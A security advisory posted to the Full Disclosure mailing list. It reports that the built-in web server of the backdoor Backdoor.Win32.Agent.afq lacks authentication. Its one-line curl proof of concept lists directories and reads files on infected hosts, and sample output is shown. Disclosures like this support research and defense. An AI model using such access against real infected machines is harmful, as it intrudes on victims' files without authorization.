full-disclosure - [FD] Backdoor.Win32.Agent.afq / Missing Authentication

Open Source and information security mailing list archives

Date: Tue, 27 Apr 2021 20:15:13 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.afq / Missing Authentication

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Missing Authentication
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP
port 8080. There is no authentication, third-party attackers who can reach
the server can list any dir and read any file on the infected host.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0188
Dropped files:
Disclosure: 04/27/2021

Exploit/PoC:
curl http://192.168.88.127:8080/Windows

Directory listing of /Windows

Filename                                               Size
 .                                                        0
 ..                                                       0
 addins                                                   0
 appcompat                                                0
 apppatch                                                 0
 AppReadiness                                             0
 assembly                                                 0
 bcastdvr                                                 0
 bfsvc.exe                                            65536
 BitLockerDiscoveryVolumeContents                         0
 Boot                                                     0
 bootstat.dat                                         67584

etc....

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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